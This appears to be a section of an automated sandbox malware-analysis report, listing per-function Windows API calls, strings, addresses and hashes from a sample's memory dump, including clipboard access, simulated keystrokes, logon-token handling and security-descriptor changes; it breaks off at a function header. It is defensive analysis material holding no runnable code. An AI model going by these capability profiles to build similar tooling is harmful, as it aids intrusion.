Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 562b30728adc22d0ad48df8d3887689f906de1c456415ae0e17a1c67640b9eeb
Instruction ID: 6de690af546a95495cccab8e0e999a7b5e712e1b0390efcff5192f51a0297e39
Opcode Fuzzy Hash: 562b30728adc22d0ad48df8d3887689f906de1c456415ae0e17a1c67640b9eeb
Instruction Fuzzy Hash: 9BE026213042C617C70CBB32A82E5ADBF9ABBD2361F80153EF0C247162CE214A854311

Function 0062039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00620704,?,?,00000000,?,00620704,00000000,0000000C), ref: 006203B7

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ebcbbce05f116064703cf6f9c530751284429a758e1044eacc765cbfd05f0a47
Instruction ID: d6da5971aeb2f1a9c2ebff30d9eee42e5980a456cf33e1d078e024319b6cf70b
Opcode Fuzzy Hash: ebcbbce05f116064703cf6f9c530751284429a758e1044eacc765cbfd05f0a47
Instruction Fuzzy Hash: 2ED06C3204010DBBDF028F84DD06EDA3BAAFB48714F114050BE1856020C732E861AB90

Function 005E1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 005E1CBC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: f5d373ac5df0d9252f8421e96159e9554260fb181a16ad99a00c3b476b422dcc
Instruction ID: 4b9ecb0011d820b24ef80525cdeed3a07286220fe1f66eb25446bbe443afd493
Opcode Fuzzy Hash: f5d373ac5df0d9252f8421e96159e9554260fb181a16ad99a00c3b476b422dcc
Instruction Fuzzy Hash: 16C09B76280305AFF3144780BC5AF107796A348B10F445101F70D595E3D3A224B0DB50

Non-executed Functions

Function 00679576 Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0067961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0067965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0067969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 006796C9
SendMessageW.USER32 ref: 006796F2
GetKeyState.USER32(00000011), ref: 0067978B
GetKeyState.USER32(00000009), ref: 00679798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 006797AE
GetKeyState.USER32(00000010), ref: 006797B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 006797E9
SendMessageW.USER32 ref: 00679810
SendMessageW.USER32(?,00001030,?,00677E95), ref: 00679918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0067992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00679941
SetCapture.USER32(?), ref: 0067994A
ClientToScreen.USER32(?,?), ref: 006799AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 006799BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 006799D6
ReleaseCapture.USER32 ref: 006799E1
GetCursorPos.USER32(?), ref: 00679A19
ScreenToClient.USER32(?,?), ref: 00679A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00679A80
SendMessageW.USER32 ref: 00679AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00679AEB
SendMessageW.USER32 ref: 00679B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00679B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00679B4A
GetCursorPos.USER32(?), ref: 00679B68
ScreenToClient.USER32(?,?), ref: 00679B75
GetParent.USER32(?), ref: 00679B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00679BFA
SendMessageW.USER32 ref: 00679C2B
ClientToScreen.USER32(?,?), ref: 00679C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00679CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00679CDE
SendMessageW.USER32 ref: 00679D01
ClientToScreen.USER32(?,?), ref: 00679D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00679D82

Part of subcall function 005F9944: GetWindowLongW.USER32(?,000000EB), ref: 005F9952

GetWindowLongW.USER32(?,000000F0), ref: 00679E05

Strings

@GUI_DRAGID, xrefs: 0067997D
p#k, xrefs: 00679990
F, xrefs: 00679D07

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F$p#k
API String ID: 3429851547-828980573
Opcode ID: 874436823d1b6fe73d95d5d8f49cb55e38712d3eae35d475077f7204788ec367
Instruction ID: 2c5d4ca49392d51e282c64419d2d3884b1fea17db90924ba0b5e64f45b9baa39
Opcode Fuzzy Hash: 874436823d1b6fe73d95d5d8f49cb55e38712d3eae35d475077f7204788ec367
Instruction Fuzzy Hash: CE426D74204241AFE725DF24CC94AAABBE6FF49320F14861DF699872A1D731A891CF61

Function 00674873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 006748F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00674908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00674927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 0067494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 0067495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 0067497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 006749AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 006749D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00674A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00674A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00674A7E
IsMenu.USER32(?), ref: 00674A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00674AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00674B20
GetWindowLongW.USER32(?,000000F0), ref: 00674B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00674BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00674C82
wsprintfW.USER32 ref: 00674CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00674CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 00674CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00674D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00674D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 00674D5A

Strings

%d/%02d/%02d, xrefs: 00674CA8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: b6edbdba350b5faac8fd149ea77150f6a264e07de71ea0b224a40403cf90547a
Instruction ID: 8502b05e1940a29cd84b0c6b317cfe1dcaee537cd0c8a10bb8e71738ddc05b0e
Opcode Fuzzy Hash: b6edbdba350b5faac8fd149ea77150f6a264e07de71ea0b224a40403cf90547a
Instruction Fuzzy Hash: F812A171500259ABEB258F28CC4DFAE7BFAEF85710F108129F51ADB2E1DB789941CB50

Function 005FF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 005FF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0063F474
IsIconic.USER32(00000000), ref: 0063F47D
ShowWindow.USER32(00000000,00000009), ref: 0063F48A
SetForegroundWindow.USER32(00000000), ref: 0063F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0063F4AA
GetCurrentThreadId.KERNEL32 ref: 0063F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0063F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0063F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0063F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0063F4DE
SetForegroundWindow.USER32(00000000), ref: 0063F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0063F4F6
keybd_event.USER32(00000012,00000000), ref: 0063F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0063F50B
keybd_event.USER32(00000012,00000000), ref: 0063F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0063F519
keybd_event.USER32(00000012,00000000), ref: 0063F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0063F528
keybd_event.USER32(00000012,00000000), ref: 0063F52D
SetForegroundWindow.USER32(00000000), ref: 0063F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0063F557

Strings

Shell_TrayWnd, xrefs: 0063F46F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 58cdf190b999a9899c63b6bed77f64114ce83b86bb5bc3a5aeb22220beaa77c3
Instruction ID: c49ba8be927df1b791c8c5670acaa25448c47fd8c4ae127402db0e42de0232b7
Opcode Fuzzy Hash: 58cdf190b999a9899c63b6bed77f64114ce83b86bb5bc3a5aeb22220beaa77c3
Instruction Fuzzy Hash: 5A317471E40218BBFB246BB55C4AFBF7E6EEB44B60F101029F604EA1D1C6B15D50ABA0

Function 00641201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 006416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0064170D
Part of subcall function 006416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0064173A
Part of subcall function 006416C3: GetLastError.KERNEL32 ref: 0064174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00641286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 006412A8
CloseHandle.KERNEL32(?), ref: 006412B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 006412D1
GetProcessWindowStation.USER32 ref: 006412EA
SetProcessWindowStation.USER32(00000000), ref: 006412F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00641310

Part of subcall function 006410BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,006411FC), ref: 006410D4
Part of subcall function 006410BF: CloseHandle.KERNEL32(?,?,006411FC), ref: 006410E9

Strings

default, xrefs: 0064130B
winsta0, xrefs: 006412CC
, xrefs: 0064125A
Zj, xrefs: 00641392

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0$Zj
API String ID: 22674027-1588436954
Opcode ID: bfe1df7d6b3cfae8c2d2ab30c1ec5e2d27ec8e2f42aa43abcc869692cf61d03c
Instruction ID: f2c6a26c1b7052023ad15199f0001ee6567e097f05aeb86b2dcdae8b7152c080
Opcode Fuzzy Hash: bfe1df7d6b3cfae8c2d2ab30c1ec5e2d27ec8e2f42aa43abcc869692cf61d03c
Instruction Fuzzy Hash: 3081CF71900209AFDF259FA4DC49FEE7BBAEF05710F14412DFA15BA2A0D7319984CB60

Function 00640B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00641114
Part of subcall function 006410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 00641120
Part of subcall function 006410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 0064112F
Part of subcall function 006410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00640B9B,?,?,?), ref: 00641136
Part of subcall function 006410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0064114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00640BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00640C00
GetLengthSid.ADVAPI32(?), ref: 00640C17
GetAce.ADVAPI32(?,00000000,?), ref: 00640C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00640C6D
GetLengthSid.ADVAPI32(?), ref: 00640C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00640C8C
HeapAlloc.KERNEL32(00000000), ref: 00640C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00640CB4
CopySid.ADVAPI32(00000000), ref: 00640CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00640CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00640D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00640D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00640D45
HeapFree.KERNEL32(00000000), ref: 00640D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00640D55
HeapFree.KERNEL32(00000000), ref: 00640D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00640D65
HeapFree.KERNEL32(00000000), ref: 00640D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00640D78
HeapFree.KERNEL32(00000000), ref: 00640D7F

Part of subcall function 00641193: GetProcessHeap.KERNEL32(00000008,00640BB1,?,00000000,?,00640BB1,?), ref: 006411A1
Part of subcall function 00641193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00640BB1,?), ref: 006411A8
Part of subcall function 00641193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00640BB1,?), ref: 006411B7

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 3639690636caedc9cd4bbe6d87503bb733c578904ab308c47b569a3ff47c17d8
Instruction ID: 9222cc7a47253a124b94befda8ddd9ad14798b018d4a9a9fa293dd34de92158b
Opcode Fuzzy Hash: 3639690636caedc9cd4bbe6d87503bb733c578904ab308c47b569a3ff47c17d8
Instruction Fuzzy Hash: D071507190021AEBEF14DFE4DC44FEEBBBABF48310F044529EA15A7251D771A945CBA0

Function 0065EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0067CC08), ref: 0065EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0065EB37
GetClipboardData.USER32(0000000D), ref: 0065EB43
CloseClipboard.USER32 ref: 0065EB4F
GlobalLock.KERNEL32(00000000), ref: 0065EB87
CloseClipboard.USER32 ref: 0065EB91
GlobalUnlock.KERNEL32(00000000), ref: 0065EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0065EBC9
GetClipboardData.USER32(00000001), ref: 0065EBD1
GlobalLock.KERNEL32(00000000), ref: 0065EBE2
GlobalUnlock.KERNEL32(00000000), ref: 0065EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0065EC38
GetClipboardData.USER32(0000000F), ref: 0065EC44
GlobalLock.KERNEL32(00000000), ref: 0065EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0065EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0065EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0065ECD2
GlobalUnlock.KERNEL32(00000000), ref: 0065ECF3
CountClipboardFormats.USER32 ref: 0065ED14
CloseClipboard.USER32 ref: 0065ED59

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 7aef2a459a3bf1a176777a1e879bd310d99c46f7f2fe26b14ae2f0b9545affd1
Instruction ID: 253a5e72a90eb260f3a554552c35097f4ce53b50abcab41fdf99946c5831f858
Opcode Fuzzy Hash: 7aef2a459a3bf1a176777a1e879bd310d99c46f7f2fe26b14ae2f0b9545affd1
Instruction Fuzzy Hash: FA61E5342043429FD708EF20C888F6A7BA6FF84755F14555DF89A872A2CB32DE49CB61

Function 0065698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 006569BE
FindClose.KERNEL32(00000000), ref: 00656A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00656A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00656A75

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00656AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00656ADF

Strings

%03d, xrefs: 00656DA2
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00656B32
%4d, xrefs: 00656BB1
%02d, xrefs: 00656C00, 00656C0A, 00656C5A, 00656CAA, 00656CFA, 00656D4A
%4d%02d%02d%02d%02d%02d, xrefs: 00656B6A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 61524afe4dd2b90eff7aff1a3cc52584aafefd878f518daae11ec8fa3b9f3b6a
Instruction ID: 3d2b4f85732f3db8423d472ddde7ec67adb08dd882d686f80ab9f8b2845c651f
Opcode Fuzzy Hash: 61524afe4dd2b90eff7aff1a3cc52584aafefd878f518daae11ec8fa3b9f3b6a
Instruction Fuzzy Hash: 4FD16071508341AEC314EB61C885EAFBBEDBF98704F44491DF999C7291EB34DA48CB62

Function 00659642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00659663
GetFileAttributesW.KERNEL32(?), ref: 006596A1
SetFileAttributesW.KERNEL32(?,?), ref: 006596BB
FindNextFileW.KERNEL32(00000000,?), ref: 006596D3
FindClose.KERNEL32(00000000), ref: 006596DE
FindFirstFileW.KERNEL32(*.*,?), ref: 006596FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0065974A
SetCurrentDirectoryW.KERNEL32(006A6B7C), ref: 00659768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00659772
FindClose.KERNEL32(00000000), ref: 0065977F
FindClose.KERNEL32(00000000), ref: 0065978F

Strings

*.*, xrefs: 006596F5

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 2630b5890433ff8bb2c0df49d24fd269e94f35fd7c2b520d1863e710e831f3ea
Instruction ID: 4d902f0ce25b3a27e56efcb5ef7db5bee842c252b908e7161a58c35aa3d4caba
Opcode Fuzzy Hash: 2630b5890433ff8bb2c0df49d24fd269e94f35fd7c2b520d1863e710e831f3ea
Instruction Fuzzy Hash: DE31B532541619AEDF18AFB4DC49ADE77AE9F09321F14415AF819E2190DB30DE88CE24

Function 0065979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 006597BE
FindNextFileW.KERNEL32(00000000,?), ref: 00659819
FindClose.KERNEL32(00000000), ref: 00659824
FindFirstFileW.KERNEL32(*.*,?), ref: 00659840
SetCurrentDirectoryW.KERNEL32(?), ref: 00659890
SetCurrentDirectoryW.KERNEL32(006A6B7C), ref: 006598AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 006598B8
FindClose.KERNEL32(00000000), ref: 006598C5
FindClose.KERNEL32(00000000), ref: 006598D5

Part of subcall function 0064DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0064DB00

Strings

*.*, xrefs: 0065983B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: b24357d22f73a138f8d6bd4d28d6dc54e0f9c3d907c7ddcf94a456c2ed873d66
Instruction ID: 7d1cacb8f5b31d121da33970375b5b1d6dbc14b422058fb45b42acf8dcaeb8c0
Opcode Fuzzy Hash: b24357d22f73a138f8d6bd4d28d6dc54e0f9c3d907c7ddcf94a456c2ed873d66
Instruction Fuzzy Hash: 4031C131541219AEDB14AFB4EC48ADE77AE9F06331F14456AF814A22D1DB30DE898F34

Function 0066BE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

